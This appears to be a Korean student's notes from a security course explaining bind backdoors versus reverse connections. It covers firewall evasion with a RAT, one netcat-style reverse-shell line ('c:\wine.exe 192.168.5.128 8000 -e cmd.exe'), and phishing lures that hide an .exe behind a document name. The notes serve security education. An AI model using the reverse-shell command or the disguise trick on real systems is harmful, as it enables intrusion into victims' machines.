SK Rookies 9/Application Secure

Backdoor & Reverse

CodeBeginer 2022. 9. 18. 14:26

Backdoor

미리 Victim의 관리자 PW등을 알아낸 후,

Victim host에 백도어를 실행하고 Attacker는 Victim host의 Backdoor에 접근해서 연결하는 방식

backdoor 공격 방법

연결 방법

  • 공격자가 공격대상에 접근
  • 미리 공격대상

 

문제점 : 방화벽이 존재하기 때문에 80(http), 443(https)과 같이 미리 열어둔 포트가 아니면 접속 불가

Reverse

방화벽의 특성을 역 이용(내부에서 외부로 가는 통신은 잘 잡지 않음)하여 RAT(Remote Access Trojan)을 이용해서 역으로 연결하는 방식

공격대상이 공격자 쪽으로 접근하는 방식

공격대상에 RAT을 침투시켜서 실행될 경우, 공격자가 미리 준비한 컴퓨터로 연결 시도(트로이 목마 방식)

방화벽을 우회할 수 있다는 장점이 있음

 

웹쉘, .bat을 이용하여 c:\wine.exe(RAT)  192.168.5.128  8000  -e cmd.exe와 같이 실행하게 함

사례)

  • 항공권, 이력서, 초대장 등을 보내서 마우스 클릭을 유도 (ex) 이력서.hwp                                                              .exe)

reverse 공격 방법

대표적인 도구 Netcat : nc.exe, nc